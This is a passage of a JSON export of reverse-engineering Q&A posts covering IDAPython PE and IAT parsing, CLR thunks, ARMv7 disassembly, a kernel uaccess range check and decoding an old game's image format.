        "Answer": "<p>IDA Pro dropped support for the <code>.clr</code> theme format in favour of CSS themes <a href=\"https://www.hex-rays.com/products/ida/news/7_3/#regular-page\" rel=\"nofollow noreferrer\">upon the release of the 7.3 update</a>. In order to port older <code>.clr</code> themes to the current format you can use a Python script that Hex-Rays provide <a href=\"https://www.hex-rays.com/wp-content/uploads/2019/10/port_clr72_to_css.py\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>e.g.\n<code>port_clr72_to_css.py -i {theme}.clr &gt; {theme}.css</code>\nto produce a CSS formatted theme which can be placed in the relevant directory of your IDA 7.5 install: <code>$IDA_INSTALL/themes/{theme}/{theme}.css</code>.</p>\n<p>Further documentation on the new themes can be found on <a href=\"https://www.hex-rays.com/products/ida/support/tutorials/themes/\" rel=\"nofollow noreferrer\">Hex-Rays site</a>.</p>\n"
    },
    {
        "Id": "26558",
        "CreationDate": "2020-12-16T07:46:38.277",
        "Body": "<p>Is it possible to parse the IAT using IDApython?</p>\n<p>i know how to do it with python libraries like lief, but i was wondering if IDApython also has an ability to parse IAT or not?</p>\n",
        "Title": "How to parse the IAT using IDApython?",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>There\u2019s no built-in functionality for that, it\u2019s too target-specific to be useful as standard API. What you <em>can</em> do is to retrieve the list of exports and/or imports for the file which was used to create the database. If you need the low-level IAT details you\u2019ll have to parse it manually from memory or database (not sure if database keeps enough information so you may need to go back to the input file).</p>\n"
    },
    {
        "Id": "26559",
        "CreationDate": "2020-12-16T07:49:46.223",
        "Body": "<p>I am trying to move some of my PE parsing into IDApython, i know how to do this with libraries like lief, but is it possible to parse the PE headers using IDA python, just like lief? i want to get all the info from the header like is debug info present and is the file signed and the compilation time and so on.</p>\n<p>how to parse PE headers using IDApython? any guide? tried googling but there is nothing.</p>\n",
        "Title": "How to parse the NT headers and section headers of a PE file using IDApython?",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>And if you ever feel the need to do it manually or in an environment other than IDA, you might find this useful.</p>\n<pre><code>class AttrDict(dict):\n    def __init__(self, *args, **kwargs):\n        super(AttrDict, self).__init__(*args, **kwargs)\n        self.__dict__ = self\n\nclass section_header(object):\n    packstring = '8BIIIIIIHHI'\n    packcount = 16\n    packchunk = 17\n    packinfo = [\n        [ 'B', 'Name', 8, 'string' ],\n        [ 'I', 'VirtualSize' ],\n        [ 'I', 'VirtualAddress' ],\n        [ 'I', 'SizeOfRawData' ],\n        [ 'I', 'PointerToRawData' ],\n        [ 'I', 'PointerToRelocations' ],\n        [ 'I', 'PointerToLinenumbers' ],\n        [ 'H', 'NumberOfRelocations' ],\n        [ 'H', 'NumberOfLinenumbers' ],\n        [ 'I', 'Characteristics' ]\n    ]\n\n    def __str__(self):\n        return &quot;{:32} {} - {}&quot;.format(self.name(), \n                hex(self.base + self.data.VirtualAddress), \n                hex(self.base + self.data.VirtualAddress + self.data.VirtualSize)) \n\n    def __repr__(self):\n        return &quot;&lt;{} '{}'&gt;&quot;.format(str(__class__)[1:-2].split('.', 2)[1], self.name())\n\n    def __init__(self, base, data):\n        self.base = base\n        self.data = AttrDict()\n        for i in range(len(self.packinfo)):\n            count = 1\n            if len(self.packinfo[i]) &gt; 2:\n                count = self.packinfo[i][2]\n                l = []\n                for unused in range(count):\n                    l.append(data.pop(0))\n                if len(self.packinfo[i]) &gt; 3:\n                    iteratee = self.packinfo[i][3]\n                    fn = getattr(self, iteratee)\n                    result = (fn(l))\n                else:\n                    result = (l)\n            else:\n                result = (data.pop(0))\n\n            self.data[self.packinfo[i][1]] = result\n\n    def name(self):\n        return self.data.Name\n\n    def empty(self):\n        return self.data.VirtualSize == 0 and self.data.VirtualAddress == 0\n\n    def string(self, data):\n        return ''.join([chr(x) for x in data]).rstrip('\\0')\n\nclass data_directory(section_header):\n    names = [\n        &quot;Export Directory&quot;, &quot;Import Directory&quot;, &quot;Resource Directory&quot;,\n        &quot;Exception Directory&quot;, &quot;Security Directory&quot;, &quot;Base Relocation Table&quot;,\n        &quot;Debug Directory&quot;, &quot;Architecture Specific Data&quot;, &quot;RVA of GP&quot;, \n        &quot;TLS Directory&quot;, &quot;Load Configuration Directory&quot;, \n        &quot;Bound Import Directory&quot;, &quot;Import Address Table&quot;, \n        &quot;Delay Load Import Descriptors&quot;, &quot;COM Runtime descriptor&quot;\n    ]\n    packstring = 'II'\n    packcount = 16\n    packchunk = 2\n    packinfo = [\n        [ 'I', 'VirtualAddress' ],\n        [ 'I', 'Size' ],\n    ]\n\n    def __init__(self, base, data, number):\n        super(data_directory, self).__init__(base, data)\n        if number &lt; len(self.names):\n            self.data.Name = self.names[number]\n        else:\n            self.data.Name = 'Unknown'\n\n    def __str__(self):\n        return &quot;{:32} {} - {}&quot;.format(self.name(), \n                hex(self.base + self.data.VirtualAddress), \n                hex(self.base + self.data.VirtualAddress + self.data.Size)) \n\n    def empty(self):\n        return self.data.Size == 0 and self.data.VirtualAddress == 0\n\n\nclass WinPE(object):\n    &quot;&quot;&quot;\n    example usage:\n\n        w = WinPE(64)\n        print(w.nt.SizeOfCode)\n        print(w.dos.e_lfanew)\n        print(w.get_rva(w.nt.BaseOfCode))\n    &quot;&quot;&quot;\n\n    _nt_nam_32 = [ &quot;Signature&quot;, &quot;Machine&quot;, &quot;NumberOfSections&quot;,\n        &quot;TimeDateStamp&quot;, &quot;PointerToSymbolTable&quot;, &quot;NumberOfSymbols&quot;,\n        &quot;SizeOfOptionalHeader&quot;, &quot;Characteristics&quot;, &quot;Magic&quot;, &quot;MajorLinkerVersion&quot;,\n        &quot;MinorLinkerVersion&quot;, &quot;SizeOfCode&quot;, &quot;SizeOfInitializedData&quot;,\n        &quot;SizeOfUninitializedData&quot;, &quot;AddressOfEntryPoint&quot;, &quot;BaseOfCode&quot;,\n        &quot;BaseOfData&quot;, &quot;ImageBase&quot;, &quot;SectionAlignment&quot;, &quot;FileAlignment&quot;,\n        &quot;MajorOperatingSystemVersion&quot;, &quot;MinorOperatingSystemVersion&quot;,\n        &quot;MajorImageVersion&quot;, &quot;MinorImageVersion&quot;, &quot;MajorSubsystemVersion&quot;,\n        &quot;MinorSubsystemVersion&quot;, &quot;Win32VersionValue&quot;, &quot;SizeOfImage&quot;,\n        &quot;SizeOfHeaders&quot;, &quot;CheckSum&quot;, &quot;Subsystem&quot;, &quot;DllCharacteristics&quot;,\n        &quot;SizeOfStackReserve&quot;, &quot;SizeOfStackCommit&quot;, &quot;SizeOfHeapReserve&quot;,\n        &quot;SizeOfHeapCommit&quot;, &quot;LoaderFlags&quot;, &quot;NumberOfRvaAndSizes&quot; ]\n    _nt_nam_64 = _nt_nam_32.copy()\n    _nt_nam_64.remove('BaseOfData')\n    _dos_nam = ['e_magic', 'e_cblp', 'e_cp', 'e_crlc', 'e_cparhdr',\n        'e_minalloc', 'e_maxalloc', 'e_ss', 'e_sp', 'e_csum', 'e_ip', 'e_cs',\n        'e_lfarlc', 'e_ovno', 'e_res_0', 'e_res_1', 'e_res_2', 'e_res_3',\n        'e_oemid', 'e_oeminfo', 'e_res2_0', 'e_res2_1', 'e_res2_2', 'e_res2_3',\n        'e_res2_4', 'e_res2_5', 'e_res2_6', 'e_res2_7', 'e_res2_8', 'e_res2_9',\n        'e_lfanew' ]\n    _dos_fmt = 'HHHHHHHHHHHHHH4HHH10Hi'\n    _sig_fmt = 'I'\n    _img_fmt = 'HHIIIHH'\n    _dir_fmt = data_directory.packstring * data_directory.packcount\n    _sec_fmt = section_header.packstring * section_header.packcount\n\n    _nt_fmt_32 = _sig_fmt + _img_fmt + &quot;HBBIIIIIIIIIHHHHHHIIIIHHIIIIII&quot; \\\n            + _dir_fmt + _sec_fmt\n    _nt_fmt_64 = _sig_fmt + _img_fmt + &quot;HBBIIIIIQIIHHHHHHIIIIHHQQQQII&quot;  \\\n            + _dir_fmt + _sec_fmt\n\n    def __init__(self, bits=64, base=None):\n        if bits not in (32, 64):\n            raise RuntimeError(&quot;bits must be 32 or 64&quot;)\n        if base is None:\n            import idaapi\n            base = idaapi.cvar.inf.min_ea\n\n        self.bits = bits\n        self.base = base\n        self.dos = self.unpack(self.get_rva(0), self._dos_nam, self._dos_fmt)\n        self.nt  = self.unpack(\n                self.get_rva(self.dos.e_lfanew),\n                getattr(self, &quot;_nt_nam_%i&quot; % bits),\n                getattr(self, &quot;_nt_fmt_%i&quot; % bits))\n\n        t2s = data_directory.packcount * data_directory.packchunk\n        t4s = section_header.packcount * section_header.packchunk\n\n        self.dirs = [y for y in [data_directory(base, x[1], x[0]) \\\n                for x in enumerate(chunk_list(self._overspill[0:t2s], \\\n                data_directory.packchunk))] \\\n                if not y.empty()]\n\n        self.sections = [y for y in [section_header(base, x) \\\n                for x in chunk_list(self._overspill[t2s:t2s+t4s], \\\n                section_header.packchunk)] \\\n                if not y.empty()]\n\n        self.end  = self.base + self.nt.SizeOfCode;\n        self.size = self.nt.SizeOfImage;\n\n        print(&quot;-- DOS Header --&quot;)\n        for k, s in self.dos.items(): print(&quot;{:32} {}&quot;.format(k, hex(s)))\n        print(&quot;-- NT Header --&quot;)\n        for k, s in self.nt.items(): print(&quot;{:32} {}&quot;.format(k, hex(s)))\n        print(&quot;-- Directories --&quot;)\n        for s in self.dirs: print(s)\n        print(&quot;-- Segments --&quot;)\n        for s in self.sections: print(s)\n\n    def get_rva(self, offset):\n        return self.base + offset\n\n    def zipObject(self, keys, values):\n        result = {}\n        for x in zip(keys, values):\n            result[x[0]] = x[1]\n        return result\n\n    def unpack(self, ea, names, fmt):\n        d = struct.unpack(fmt, idc.get_bytes(ea, struct.calcsize(fmt)))\n        o = self.zipObject(names, d)\n        self._overspill = list(d[len(names):])\n        return AttrDict(o)\n\ndef chunk_list(lst, n):\n    &quot;&quot;&quot;Yield successive n-sized chunks from lst.&quot;&quot;&quot;\n    for i in range(0, len(lst), n):\n        yield lst[i:i + n]\n</code></pre>\n"
    },
    {
        "Id": "26565",
        "CreationDate": "2020-12-16T19:26:49.157",
        "Body": "<p>I ask if exist some c compiler option that can &quot;keep&quot; some imformation after compile that can be visible when I disassamble with IDA.</p>\n<p>This because I need to find a particular funciton with IDA but without a &quot;flag&quot; is not easy.</p>\n<p>In short I have a function called &quot;Sbar_Draw&quot; and I like to write inside a message for example:</p>\n<pre><code>char * test;\n\ntest = &quot;This is the function name: Sbar_Draw/n&quot;;\n</code></pre>\n<p>I have already tried to do it, but after disassably with IDA this information seem lost.</p>\n<p>There is some compile option (or other way) that allow me to easy find a function when I disassambly with IDA ?</p>\n<p>Thank you !</p>\n",
        "Title": "Visual c compiler options",
        "Tags": "|ida|disassembly|c|disassemblers|",
        "Answer": "<p>It seems you are talking about debugging information. You can use a compilation switch such as <code>/Zi</code> to generate a PDB file with debugging information which can then be used by IDA to label your functions and variables in the disassembly.</p>\n<p>Note that some information is lost anyway: comments, preprocess or definitions, or any code or data which has been optimized out and removed.</p>\n"
    },
    {
        "Id": "26566",
        "CreationDate": "2020-12-16T20:06:52.613",
        "Body": "<p>What happens if you try to debug yourself ? I mean, does the process crash ?\nIf it is possible, how would you implement it ?</p>\n<p>I have tried launching x64dbg and I can't attach to my own x64dbg process.</p>\n<p>Thank you!</p>\n",
        "Title": "Is it possible for a process to debug itself?",
        "Tags": "|windows|debugging|debuggers|",
        "Answer": "<p>Usually it\u2019s not possible because one process must control the other and most debugging commands (e.g. reading or writing registers) need the target process to be stopped.</p>\n<p>A common approach is run a copy of itself as a separate process (can be done on Unix systems using fork()) and debug that. In theory you could implement a custom debug-like functionality using signal or exception handlers or low level APIs but this is definitely something that would require a lot of work and unlikely to be very robust.</p>\n"
    },
    {
        "Id": "26567",
        "CreationDate": "2020-12-16T21:20:36.200",
        "Body": "<p>I just started working my way to reversing Windows binaries and I stumbled upon the Import Address Table. When reversing a particular DLL I encountered many thunk-functions which all supposedly referenced the IAT.\nFrom my experience on Linux I guessed that this is somewhat similar to the procedure linkage table (or rather the global offset table I suppose).\nBased on that I would assume that the linking process is similar, though I cannot seem to find detailed information on that. Any help would be appreciated.</p>\n<p>Furthermore I was wondering whether you could resolve these thunks without ever running the binary. In particular because it is in fact a DLL that I am analyzing the information to resolve these should be available already?\nThough I cannot really make sense out of the information available.</p>\n<p>Just to be sure I am not completely off, here is an example of what I am talking about:</p>\n<pre><code>void THUNK_FUN_18002d97a(void)\n\n{\n  (*_DAT_18005ba68)();\n  return;\n}\n</code></pre>\n<p>Memory at the address (in section <code>.data</code>):</p>\n<pre><code>0x18005ba68: 94 00 00 06 00 00 00 00\n</code></pre>\n<p>Edit:\nThanks for the input. I now feel like I misunderstood the purpose of the IAT. So consider the following scenario:\nWe have a PE executable A which imports symbols from a DLL B.</p>\n<ol>\n<li>The <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table\" rel=\"nofollow noreferrer\">import directory table</a> is used in A, whereas in B a corresponding entry has to be found in the <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table\" rel=\"nofollow noreferrer\">export directory table</a>. Is that correct?</li>\n<li>In the DLL (B) I am investigating the thunks mentioned are neither imported nor exported symbols. So what may I be witnessing?</li>\n<li>The overall process must be looking something like this:\n<ol>\n<li>A is executed. All needed DLLs are searched and linked (this is called binding in this context?)</li>\n<li>This causes B to be actually loaded at some address. Now symbols from B in A can be resolved (using the import directory table). Is B necessarily position independent? I read about preferred base addresses and conditional re-location of the whole binary if it cannot be matched. Is this still correct?</li>\n<li>I still do not see a point why the second layer jump table I encountered is needed.</li>\n</ol>\n</li>\n</ol>\n",
        "Title": "Statically recovering thunks in Windows x86_64 DLL",
        "Tags": "|windows|dll|iat|",
        "Answer": "<h2>PART 1</h2>\n<p>The PE import thunks do not work the same way as ELF PLT. There is no dynamic resolver invoked on the first call but all import pointers are resolved at the process startup ahead of time (similar to <code>LD_BIND_NOW</code>). The pointers are grouped in a GOT-like Import Address Table (IAT) and the metadata with the details about the DLLs and symbols imported is stored in the Import Directory which is referred to by the PE header.</p>\n<p>To recover the symbols you need to parse the import directory. The details can be found in the official <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format\" rel=\"nofollow noreferrer\">PE format specification.</a></p>\n<h2>PART2</h2>\n<p>After your edit, it seems you're dealing with a <strong>native to managed code thunk</strong>.</p>\n<p>I've done the following experiment to produce a <a href=\"https://docs.microsoft.com/en-us/cpp/dotnet/mixed-native-and-managed-assemblies\" rel=\"nofollow noreferrer\">mixed executable</a>:</p>\n<p><code>m.cpp</code> (Managed code):</p>\n<pre><code>using namespace System;\n\nvoid hello()\n{\n    String^ str = &quot;Hello World&quot;;\n    Console::WriteLine(str);\n}\n</code></pre>\n<p><code>n.cpp</code> (Native code):</p>\n<pre><code>void hello();\n\nvoid main()\n{\n  hello();\n}\n</code></pre>\n<p>Compile and link:</p>\n<pre><code>cl /c /clr /Zi m.cpp\ncl /c /Zi n.cpp\nlink /debug /out:mixed.exe m.obj n.obj\n</code></pre>\n<p>After disassembling the native part (and getting symbols thanks to the PDB), I could observe the following:</p>\n<pre><code>.text:00007FF798E81090 main proc near     \n.text:00007FF798E81090 sub     rsp, 28h\n.text:00007FF798E81094 call    ?hello@@YAXXZ ; hello(void)\n.text:00007FF798E81099 xor     eax, eax\n.text:00007FF798E8109B add     rsp, 28h\n.text:00007FF798E8109F retn\n.text:00007FF798E8109F main endp\n</code></pre>\n<p>Following the call:</p>\n<pre><code>.nep:00007FF798ECC000 ?hello@@YAXXZ proc near\n.nep:00007FF798ECC000 jmp     short loc_7FF798ECC00A\n.nep:00007FF798ECC002 ud2\n.nep:00007FF798ECC004 jmp     cs:__m2mep@?hello@@$$FYAXXZ\n.nep:00007FF798ECC00A loc_7FF798ECC00A:\n.nep:00007FF798ECC00A jmp     cs:__mep@?hello@@$$FYAXXZ\n.nep:00007FF798ECC00A ?hello@@YAXXZ endp\n</code></pre>\n<p>And finally, following the <code>jmp</code>:</p>\n<pre><code>.data:00007FF798EE7000 __m2mep@?hello@@$$FYAXXZ dq 6000001h\n.data:00007FF798EE7008 __mep@?hello@@$$FYAXXZ dq 6000001h\n</code></pre>\n<p>The value 6000001 is a <a href=\"https://iobservable.net/blog/2013/05/12/introduction-to-clr-metadata/\" rel=\"nofollow noreferrer\"><em>CLR Token</em></a>. The high byte byte is the token kind, or the metadata table index, in this case 0x6 meaning <em>Method</em>. Looking it up in a .NET viewer such as ILDASM or dnSpy we can see that it refers to the managed method &quot;hello&quot; with the RVA <code>000010a0</code>. Going to that address we see:</p>\n<pre><code>.text:00007FF798E810A0 ?hello@@$$FYAXXZ:\n.text:00007FF798E810A0 add     esi, [rax]\n.text:00007FF798E810A2 add     [rax], eax\n.text:00007FF798E810A4 sldt    word ptr [rax]\n.text:00007FF798E810A7 add     [rdx], al\n.text:00007FF798E810A9 db 2 dup(0), 11h\n.text:00007FF798E810AC hello:\n.text:00007FF798E810AC adc     al, 0Ah\n.text:00007FF798E810AE jb      short loc_7FF798E810B1\n.text:00007FF798E810B0 db 0\n.text:00007FF798E810B1 loc_7FF798E810B1:\n.text:00007FF798E810B1 add     [rax+0Ah], dh\n.text:00007FF798E810B4 dd 22806h\n.text:00007FF798E810B8 db 0, 0Ah, 2Ah, 0CCh\n</code></pre>\n<p>It does not make any sense as x64 code so this is obviously CLI bytecode and should be checked with a .net decompiler. Strangely, none of those I tried seems to show the function but I managed to get the IL disassembly from ILDASM:</p>\n<pre><code>.method /*06000001*/ assembly static void modopt([mscorlib/*23000001*/]System.Runtime.CompilerServices.CallConvCdecl/*01000001*/) \n        hello() cil managed\n{\n  .vtentry 1 : 1\n  // Code size       15 (0xf)\n  .maxstack  1\n  .locals /*11000002*/ ([0] string str)\n  IL_0000:  ldnull\n  IL_0001:  stloc.0\n  IL_0002:  ldstr      &quot;Hello World&quot; /* 70000001 */\n  IL_0007:  stloc.0\n  IL_0008:  ldloc.0\n  IL_0009:  call       void [mscorlib/*23000001*/]System.Console/*01000003*/::WriteLine(string) /* 0A000002 */\n  IL_000e:  ret\n} // end of global method hello\n</code></pre>\n<p>You can probably follow a similar approach and look up the token 0x06000094 in the metadata tables or IL disassembly to figure out the destination of the jump in managed code.</p>\n<p>Random observations:</p>\n<p>The segment <code>.nep</code> seems to mean &quot;native entrypoint&quot;</p>\n<p>The prefix <code>__mep</code> in the token name <em>probably</em> means &quot;managed entrypoint&quot;.</p>\n"
    },
    {
        "Id": "26568",
        "CreationDate": "2020-12-16T23:32:09.907",
        "Body": "<p>I\u2019m working with a disassembled ARMv7 binary. There are several instances where groups of instructions seem sub-optimal, but this one really caught my attention:</p>\n<pre><code>00009086         movw       r3, #0x4f36\n0000908a         movt       r3, #0x1                                            ; ledTimer\n0000908e         ldrh       r3, [r3]                                            ; ledTimer\n00009090         subs       r3, #0x1\n00009092         uxth       r2, r3\n00009094         movw       r3, #0x4f36\n00009098         movt       r3, #0x1                                            ; ledTimer\n0000909c         strh       r2, [r3]                                            ; ledTimer\n0000909e         movw       r3, #0x4f36\n000090a2         movt       r3, #0x1                                            ; ledTimer\n000090a6         ldrh       r3, [r3]                                            ; ledTimer\n000090a8         cmp        r3, #0x0\n000090aa         bne.w      loc_9250\n</code></pre>\n<p>Since <code>loc_9250</code> is the beginning of the epilogue, I interpreted this section as:</p>\n<pre><code>if (--ledTimer != 0) {\n    return;\n}\n</code></pre>\n<p>Am I missing something about the ARMv7 architecture that makes all these instructions necessary (besides my disassembler not substituting the pseudo-<code>mov32</code> for the <code>movw</code>/<code>movt</code> pairs)? It seems like a very inefficient way of going about this sequence of operations. Or perhaps this is just the result of a compiler with optimisation settings cranked right down.</p>\n",
        "Title": "Understanding ARMv7 seemingly overly verbose disassembly",
        "Tags": "|disassembly|arm|",
        "Answer": "<p>This is probably because <code>*ledTimer</code> is volatile.  Here's a short bit of code that produces a similar result:</p>\n<pre><code>int main() {\n    volatile unsigned short *ledTimer{(unsigned short *)0x14f36};\n    for (--(*ledTimer); *ledTimer; --(*ledTimer));\n}\n</code></pre>\n<p>Now compile with gcc 8.3.1 with <code>-march=armv7 -O1</code> and we get something that starts to resemble what you've listed:</p>\n<pre><code>main:\n        movw    r2, #20278\n        movt    r2, 1\n        ldrh    r3, [r2]\n        subs    r3, r3, #1\n        uxth    r3, r3\n        strh    r3, [r2]        @ movhi\n        ldrh    r3, [r2]\n        uxth    r3, r3\n        cbz     r3, .L2\n        movw    r2, #20278\n        movt    r2, 1\n.L3:\n        ldrh    r3, [r2]\n        subs    r3, r3, #1\n        uxth    r3, r3\n        strh    r3, [r2]        @ movhi\n        ldrh    r3, [r2]\n        uxth    r3, r3\n        cmp     r3, #0\n        bne     .L3\n.L2:\n        movs    r0, #0\n        bx      lr\n</code></pre>\n<p>You can <a href=\"https://gcc.godbolt.org/z/nseG19\" rel=\"nofollow noreferrer\">try it live</a>.</p>\n"
    },
    {
        "Id": "26581",
        "CreationDate": "2020-12-18T16:45:41.837",
        "Body": "<p>This is the section of disassembled code in question. It\u2019s from a Linux kernel module compiled for 4.4.16 on ARMv7.</p>\n<pre><code>  ; Registers used:\n  ;  - r3 :  unsigned long argp\n\n0000005c         mov        r1, sp\n00000060         bic        r2, r1, #0x1fc0\n00000064         bic        r2, r2, #0x3f\n00000068         ldr        r4, [r2, #0x8]\n0000006c         adds       r1, r3, #0x1\n00000070         sbcslo     r1, r1, r4\n00000074         movlo      r4, #0x0\n00000078         cmp        r4, #0x0\n0000007c         bne        loc_dc\n</code></pre>\n<p>The stack at this point looks like this:</p>\n<pre><code>00  &lt;- SP\n04  [padding]\n07  u8 arg_kernel\n08  pushed[r4]\n0c  pushed[r5]\n10  pushed[r6]\n14  pushed[lr]\n18  &lt;Previous SP&gt;\n</code></pre>\n<p>Here\u2019s how I decoded this assembly into pseudo-C:</p>\n<pre><code>r4 = *(SP &amp; 0xe000 + 8);\nr1 = argp + 1;\n\nif (r1 overflowed) {\n    r1 -= r4;\n    r4 = 0;\n}\n\nif (r4 == 0) {\n  /* jump */\n}\n</code></pre>\n<p>If I got this right, I don\u2019t really understand the purpose of this code. If I made a mistake, I <em>really</em> don\u2019t understand it. Can anyone offer any insight into the purpose of these operations?</p>\n",
        "Title": "Why would just two bits of the SP be used here?",
        "Tags": "|disassembly|linux|arm|kernel|",
        "Answer": "<p>Your translation is wrong. The two BIC instructions clear the 13 low bits of the stack pointer (1FC0|3F = 1FFF). In kernel mode, this produces a pointer to the<a href=\"https://stackoverflow.com/q/43176500\"> <code>thread_info</code> structure</a> for the current thread.</p>\n<p>The <code>ldr</code> then reads the field at offset 8 in it which <a href=\"https://elixir.bootlin.com/linux/v4.3/source/arch/arm/include/asm/thread_info.h\" rel=\"nofollow noreferrer\">seems to be <code>addr_limit</code></a> and <code>r3+1</code> apparently should not exceed it.</p>\n<p>Combined, the code matches this helper from <code>uaccess.h</code>:</p>\n<pre><code>#define __range_ok(addr, size) ({ \\\n    unsigned long flag, roksum; \\\n    __chk_user_ptr(addr);   \\\n    __asm__(&quot;adds %1, %2, %3; sbcccs %1, %1, %0; movcc %0, #0&quot; \\\n        : &quot;=&amp;r&quot; (flag), &quot;=&amp;r&quot; (roksum) \\\n        : &quot;r&quot; (addr), &quot;Ir&quot; (size), &quot;0&quot; (current_thread_info()-&gt;addr_limit) \\\n        : &quot;cc&quot;); \\\n    flag; })\n</code></pre>\n"
    },
    {
        "Id": "26594",
        "CreationDate": "2020-12-20T12:21:13.267",
        "Body": "<p>I've managed to extract some graphics files from an archive of an old game. Haven't found anything about it online, so I'm trying my luck here, prehaps someone knows a similar format that can help me. It's a somehow encrypted/compressed graphics format that uses an external palette. I've managed to display a different graphics format from the game, .raw files, that were very similar to NetPBM files. This format however isn't as straight forward.</p>\n<h2>Here's what I know:</h2>\n<p>File extension: .cgf<br />\nFile magic: CGFF<br />\n<code>file</code>: data<br />\n<code>binwalk -E</code>: 0.5 or 0.75, depends on &quot;compression type&quot;, pretty much uniform across file<br />\n<code>binwalk -X</code>: DEFLATE streams, sometimes only 1 bit long (?)</p>\n<p>Header structure is as follows. Names are an educated guess on what the field could be. Every field is 4 bytes long, numbers are signed ints stored in little endian.<br />\nEach line is 4 bytes in the file:</p>\n<pre><code>String CGFF (file magic)\nCompression type, either &quot;1&quot; or &quot;9&quot; across all files\nNumber of layers\nNumber of layers, multiplied by 24\nFile size. If my guess is right, this is probably an unsigned int\n&quot;0&quot; across all files but one, where it is &quot;250&quot;\n&quot;0&quot; across all files\nX Position                                      |\nY Position                                      |\nWidth                                           |\nHeight                                          |\n&quot;38&quot; across all files                           |\nOffset into the file starting after the headers |\n</code></pre>\n<p>The last 6 entries seem to make up a unit that repeats once for every layer.</p>\n<p>Here's how I got to my guesses:</p>\n<ul>\n<li>Compression type: 1-files have a different entropy and structure than 9-files.</li>\n<li>Number of layers: Observarions like this: A file called &quot;Ballammo&quot; is loaded in a game where you have 10 snowballs to throw at targets. The header contains a &quot;10&quot; in this field. This works for other files too.</li>\n<li>Filesize: I had to guess this since the archive I extracted the files from stored incorrect file lengths, but in most cases the numbers are similar enough</li>\n<li>Position/Size: Files called &quot;Background&quot; always have the values 0 0 640 480. In some cases they were 640 480 -640 -480, hence my guess with the position. The size makes sense for a game of that time running in 4:3</li>\n<li>Layer offset: Guess, since the first entry is always 0 and the subsequent are bigger numbers. Also it lines up nicely like this.</li>\n</ul>\n<p>Regarding the file structure, 1-files have higher entropy and don't really show any pattern. In 9-files however, most of the time a byte is followed by 0xff, rarely by something else. It's not RLE, I've tried that.</p>\n<p>As requested, here's two hexdumps. One 9-compressed, one 1-compressed.<br />\n<a href=\"https://pastebin.com/NGY79UgU\" rel=\"nofollow noreferrer\">https://pastebin.com/NGY79UgU</a></p>\n<p>Oh right, I should say how these are supposed to look like. &quot;Cursor.cgf&quot; should contain a two hand-like cursors, one pointing and one grabbing. Regarding &quot;Kid.cgf&quot;, the data says it contains 8 layers. Given the minigame the file loads in, this should contain 4 grinning mouths and 4 pairs of eyes.</p>\n<p>I also forgot to mention that both images have transparency, this could however be implemented using the palette the game loads.</p>\n<p>NOTE: I can't guarantee that these files are complete. They may contain garbage at the end or be incomplete. As I said, chances are good that the archive's stored file lengths are wrong, as I found a palette that contained the .wav header of the next file after extraction.</p>\n<p>Here's how some of the layers of the files given should look like when correctly loaded. Three &quot;Kid.cgf&quot;-layers are lined in red, while one of the &quot;Cursor.cgf&quot;-layers is lined in green. Boxes are not exact.<br />\n<a href=\"https://i.stack.imgur.com/NzkW4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NzkW4.png\" alt=\"enter image description here\" /></a></p>\n<h2>UPDATE</h2>\n<p>I managed to point the game to an extracted file instead of an archived file and it loads just fine. After also writing a program that fully parses the header, extracting the layer data into seperate files and some minor experiments, here's my results <strong>on a type 1 image</strong>:</p>\n<ul>\n<li>The game doesn't mind files being too long.</li>\n<li>The data isn't just a bitmap. Assuming I correctly found the fields for width, height and layer offset, the lengths of the fields (= diff between two layer offsets) is always smaller than width*height. Also, randomly changing some bytes in the image section crashes that game on load.</li>\n<li>The x and y pos isn't relative to the screen but to something else. This was revealed by swapping two images; both were still drawn in the correct location.</li>\n<li>@pythonpython found the value 0x26 to be interesting. This value also is stored in the layer entries (I wrote '&quot;38&quot; in all files', see above).</li>\n<li>The image data contains info on where a &quot;pixel line&quot; ends. Example: Let a layer be 32x64. Swapping the header values for the image to be 64x32 results in an image that is cut off in the middle but gets displayed correctly.</li>\n</ul>\n<p>I'll keep experimenting and update accordingly.</p>\n",
        "Title": "Opening an undocumented 90s graphics format",
        "Tags": "|file-format|unknown-data|",
        "Answer": "<p>The images are packed, data is little-endian where it matters.</p>\n<p>General format:</p>\n<pre><code>struct CGFHeader {\n  uint32_t magic;\n  uint32_t flags;\n  uint32_t frame_count;\n  uint32_t frame_metadata_size;\n  uint32_t frame_payload_size;\n  uint32_t unk1;\n  uint32_t unk2; \n};\n</code></pre>\n<p>Then repeated <code>frame_count</code> times, starting at <code>+0x1c</code>:</p>\n<pre><code>struct FrameMeta {\n  uint32_t unk1;\n  uint32_t unk2;\n  uint32_t width;\n  uint32_t height;\n  uint32_t unk3;\n  uint32_t payload_offset;\n};\n</code></pre>\n<p>For frame N, the payload data starts at <code>sizeof(CGFHeader) + cgf_header.frame_count*sizeof(FrameMeta) + frame_meta[N].payload_offset</code> (i.e. at the corresponding <code>payload_offset</code>, based immediately after the metadata structs).</p>\n<p>Each line/row of the packed image data is packed independently. Each line is prefixed by a <code>uint32_t</code> of that line's length (including the length field). Process the packed data as follows:</p>\n<p>Read a method <code>uint8_t</code> and a length <code>uint8_t</code> (referred to <code>n</code> below), and process per the below table.</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Method</th>\n<th>How to process</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>0x00</code></td>\n<td>Append <code>n</code> transparent pixels. If <code>n</code> is 0, pad the line with transparent pixels to expected width.</td>\n</tr>\n<tr>\n<td><code>0x01</code></td>\n<td>Read <code>n</code> pairs of (palette_index, alpha) values from the packed data, appending to the line.</td>\n</tr>\n<tr>\n<td><code>0x02</code></td>\n<td>Read a single (palette_index, alpha) pair from the packed data. Append it to the line <code>n</code> times.</td>\n</tr>\n<tr>\n<td><code>0x03</code></td>\n<td>Read <code>n</code> palette_index values from the packed data, appending to the line.</td>\n</tr>\n<tr>\n<td><code>0x04</code></td>\n<td>Read a single palette_index from the packed data. Append it to the line <code>n</code> times.</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Keep processing method <code>uint8_t</code> and a length <code>uint8_t</code> bytes from the packed data until you have the full line width.</p>\n<p>In order to interpret the actual color values, you'll need the corresponding palette. The two formats you've 